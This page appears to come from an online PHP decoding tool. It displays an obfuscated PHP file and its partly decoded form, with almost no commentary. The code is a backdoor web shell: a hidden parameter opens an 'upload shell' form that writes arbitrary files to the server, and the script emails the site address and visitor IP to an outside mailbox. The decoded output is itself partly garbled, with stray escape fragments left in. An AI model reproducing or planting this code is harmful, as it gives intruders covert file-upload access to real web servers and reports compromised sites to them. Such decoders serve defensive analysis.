Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7"; ..

Decoded Output download

<?php ${"GLOBALS"}["jetuvyi"]="f7";                                             ${"GLOBALS"}["treqgoljhhk"]="ab";                                      ${"GLOBALS"}["cbfnbsdb"]="xa";                                               ${"GLOBALS"}["fnsnpmpy"]="s6";                                      ${"GLOBALS"}["ajqkwhzp"]="c4";                                ${"GLOBALS"}["utmjuu"]="m5";$qstptt="b3";                                 ${"GLOBALS"}["xqkkcw"]="b3";                                                    ${"GLOBALS"}["layopjtm"]="a2";                                               ${"GLOBALS"}["dvmdrmb"]="y1";                                                   ${"GLOBALS"}["osigmdocx"]="o0";$qyesjrmhc="o0";               ${${"GLOBALS"}["osigmdocx"]}=$_GET[base64_decode("ZG8=")];                if(${$qyesjrmhc}==base64_decode("aXQ=")){${"GLOBALS"}["mdnkliomu    pv"]="y1";                                                                                           ${${"GLOBALS"}["dvmdrmb"]}=$_FILES[base64_decode("ZmlsZQ==")][base6    4_decode("bmFtZQ==")];                                                                      ${${"GLOBALS"}["layopjtm"]}=$_FILES[base64_decode("ZmlsZQ==")][base    64_decode("dG1wX25hbWU=")];echo                                                          base64_decode("PGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlP    SdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCiA8aW5wdX\x    51gdHlwZT0nZmlsZSduYW1lPSdmaWxlJyAvPg0KIDxpbnB    1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cGxvYWQgc2hlb    GwnIC8+DQo8L2Zvcm0+");                                                             move_uploaded_file(${${"GLOBALS"}["layopjtm"]},                              ${${"GLOBALS"}["mdnkliomupv"]});                                          }${${"GLOBALS"}["xqkkcw"]}=getenv(base64_decode("UkVNT1RFX0FER\x    46I="));$pbzdzxkwvcw="k9";                                                                        ${"GLOBALS"}["xuylgiuret"]="m5";                                    ${${"GLOBALS"}["ajqkwhzp"]}=rand(1,99999);$tbanxexlelx="f7";     ${"GLOBALS"}["eumkwdg"]="h8";                                                   ${${"GLOBALS"}["xuylgiuret"]}="   Shell  |$b3";                        ${${"GLOBALS"}["fnsnpmpy"]}=base64_decode("cm9jaGRpc3A3Q\x    47dtYWlsLmNvbQ==");                                                                         ${$tbanxexlelx}=base64_decode("RnJvbTogTiFnaE0xcjMgPHgtR\x    32hvc3REej4=");$yzdbrberd="ab";                                                    ${${"GLOBALS"}["eumkwdg"]}=$_SERVER[base64_decode("UkVRVUVTV\    x469VUkk=")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("SFRUUF9IT1NU")];                    ${${"GLOBALS"}["cbfnbsdb"]}=${$qstptt}."";$vvpwrmsr="s6";              ${$yzdbrberd}="$k9$h8?do=it $xa";mail(${$vvpwrmsr},                                               ${${"GLOBALS"}["utmjuu"]},                                                   ${${"GLOBALS"}["treqgoljhhk"]},                                           ${${"GLOBALS"}["jetuvyi"]});if($_POST){if(@                                           copy($_FILES[base64_decode("Zg==")][base64_decode("dG1wX25hbWU=")],                            $_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")])){echobase64_decode("PG\    x49+YmVyaGFzaWw8L2I+LS0+").                                                           $_FILES[base64_decode("Zg==")][base64_decode("bmFtZQ==")];                         }else{echobase64_decode("PGI+Z2FnYWw=");}}else{echo                                      base64_decode("PGZvcm0gbWV0aG9kPXBvc3QgZW5jdHl    wZT1tdWx0aXBhcnQvZm9ybS1kYXRhPjxpbn\x    421dCB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCBuYW1lPXYg\x    64HlwZT1zdWJtaXQgaWQ9diB2YWx1ZT11cD48YnI+");      } ?>

Did this file decode correctly?

Original Code

<?php ${"\x47L\x4f\x42\x41L\x53"}["\x6ae\x74\x75vy\x69"]="f7";                                             ${"\x47L\x4f\x42\x41L\x53"}["\x74\x72e\x71\x67\x6f\x6cjhh\x6b"]="ab";                                      ${"\x47\x4c\x4f\x42ALS"}["\x63bfn\x62\x73\x64\x62"]="\x78a";                                               ${"G\x4c\x4f\x42\x41\x4c\x53"}["f\x6es\x6ep\x6d\x70\x79"]="\x73\x36";                                      ${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]="\x63\x34";                                ${"\x47L\x4fB\x41\x4c\x53"}["u\x74\x6d\x6a\x75u"]="\x6d\x35";$qstptt="b3";                                 ${"GL\x4fB\x41\x4cS"}["\x78q\x6b\x6b\x63\x77"]="b\x33";                                                    ${"G\x4c\x4fBAL\x53"}["la\x79o\x70\x6a\x74\x6d"]="\x61\x32";                                               ${"\x47\x4c\x4fBA\x4cS"}["\x64\x76\x6d\x64\x72mb"]="y1";                                                   ${"G\x4c\x4f\x42\x41\x4cS"}["\x6f\x73\x69\x67md\x6f\x63\x78"]="o\x30";$qyesjrmhc="\x6f\x30";               ${${"\x47LOB\x41\x4c\x53"}["\x6f\x73i\x67\x6dd\x6f\x63\x78"]}=$_GET[base64_decode("ZG8=")];                if(${$qyesjrmhc}==base64_decode("a\x58Q\x3d")){${"G\x4c\x4f\x42A\x4cS"}["\x6d\x64\x6ek\x6c\x69\x6fm\x75    \x70\x76"]="y1";                                                                                           ${${"\x47\x4c\x4f\x42ALS"}["d\x76\x6ddr\x6d\x62"]}=$_FILES[base64_decode("Zm\x6cs\x5a\x51\x3d=")][base6    4_decode("\x62mF\x74\x5a\x51=\x3d")];                                                                      ${${"\x47\x4cO\x42A\x4c\x53"}["\x6c\x61y\x6fp\x6a\x74m"]}=$_FILES[base64_decode("Zml\x73Z\x51==")][base    64_decode("\x64G\x31\x77X\x325h\x62WU\x3d")];echo                                                          base64_decode("\x50GZvc\x6d\x30\x67b\x57\x560aG9\x6b\x50Sd\x51T\x31NUJ\x79\x42\x6cb\x6d\x4e\x30e\x58BlP    S\x64td\x57x\x30a\x58Bhcn\x51v\x5a\x6d\x39\x79\x62S\x31\x6b\x59\x58\x52h\x4az\x34N\x43iA\x38aW5\x77dX\x    51gd\x48\x6cw\x5aT\x30\x6e\x5aml\x73\x5a\x53duY\x571lPS\x64\x6da\x57x\x6c\x4ayAv\x50g\x30KIDx\x70\x62nB    \x31d\x43B0\x65XBlP\x53\x64\x7a\x64WJt\x61\x58Q\x6e\x49HZh\x62H\x56lPSd1\x63\x47\x78v\x59WQgc2\x68\x6cb    \x47\x77nIC8+\x44Qo\x38\x4c\x32Zvc\x6d\x30+");                                                             move_uploaded_file(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x61\x79opjt\x6d"]},                              ${${"\x47L\x4fB\x41\x4c\x53"}["\x6d\x64n\x6bl\x69o\x6du\x70v"]});                                          }${${"G\x4cO\x42A\x4cS"}["\x78q\x6bk\x63w"]}=getenv(base64_decode("\x55\x6b\x56NT\x31R\x46X0\x46E\x52\x    46\x49="));$pbzdzxkwvcw="\x6b\x39";                                                                        ${"\x47L\x4fB\x41\x4c\x53"}["\x78\x75\x79\x6cgi\x75\x72e\x74"]="m\x35";                                    ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x6aq\x6b\x77\x68\x7a\x70"]}=rand(1,99999);$tbanxexlelx="f\x37";     ${"GL\x4f\x42\x41LS"}["\x65u\x6d\x6b\x77\x64g"]="\x688";                                                   ${${"\x47\x4c\x4fB\x41\x4c\x53"}["x\x75ylgiu\x72\x65t"]}="   Sh\x65l\x6c\x20 |$b3";                        ${${"\x47L\x4f\x42A\x4cS"}["\x66\x6es\x6ep\x6d\x70y"]}=base64_decode("\x63m\x39j\x61\x47Rp\x633A\x33Q\x    47dt\x59\x57lsL\x6d\x4evbQ=\x3d");                                                                         ${$tbanxexlelx}=base64_decode("RnJ\x76\x62\x54\x6f\x67T\x69\x46\x6ea\x45\x30x\x63j\x4d\x67P\x48g\x74R\x    32\x68\x76c3\x52\x45\x65j\x34=");$yzdbrberd="\x61\x62";                                                    ${${"\x47\x4cO\x42AL\x53"}["\x65u\x6d\x6b\x77\x64\x67"]}=$_SERVER[base64_decode("UkV\x52V\x55\x56T\x56\    x469V\x55kk\x3d")];${$pbzdzxkwvcw}=$_SERVER[base64_decode("S\x46R\x55UF9IT\x31\x4eU")];                    ${${"G\x4c\x4f\x42\x41\x4cS"}["\x63\x62\x66\x6ebs\x64b"]}=${$qstptt}."";$vvpwrmsr="\x73\x36";              ${$yzdbrberd}="$k9$h8?\x64o\x3di\x74 $xa";mail(${$vvpwrmsr},                                               ${${"G\x4c\x4f\x42\x41\x4cS"}["\x75t\x6d\x6a\x75\x75"]},                                                   ${${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x72e\x71g\x6f\x6c\x6ahhk"]},                                           ${${"G\x4c\x4fBALS"}["\x6a\x65\x74\x75\x76yi"]});if($_POST){if(@                                           copy($_FILES[base64_decode("Zg\x3d=")][base64_decode("d\x471wX\x325hb\x57U=")],                            $_FILES[base64_decode("\x5ag=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d=")])){echobase64_decode("\x50G\    x49+YmVya\x47Fz\x61W\x77\x38L\x32\x49+\x4cS0+").                                                           $_FILES[base64_decode("\x5a\x67=\x3d")][base64_decode("b\x6dF\x74Z\x51\x3d\x3d")];                         }else{echobase64_decode("P\x47\x49+\x5a2F\x6eY\x57\x77=");}}else{echo                                      base64_decode("\x50G\x5a\x76c\x6d0\x67\x62\x57\x560\x61\x479\x6bPX\x42v\x63\x33Qg\x5aW\x35\x6ad\x48\x6c    wZ\x54\x31\x74d\x57\x78\x30\x61\x58\x42\x68c\x6eQ\x76\x5a\x6d\x39yb\x53\x31\x6b\x59XRhP\x6a\x78pb\x6e\x    42\x31\x64CB\x30eXB\x6cPW\x5ap\x62GU\x67b\x6dFtZT\x31m\x50\x6ax\x70bn\x421\x64C\x42uYW\x31lPX\x59\x67\x    64\x48\x6cwZ\x541zd\x57\x4a\x74\x61X\x51\x67\x61WQ\x39d\x69B2\x59W\x781\x5a\x541\x31c\x44\x348YnI+");      }

Function Calls

None

Variables

None

Stats

MD5 c030c262c0441a9d806f3bc24a618166
Eval Count 0
Decode Time 48 ms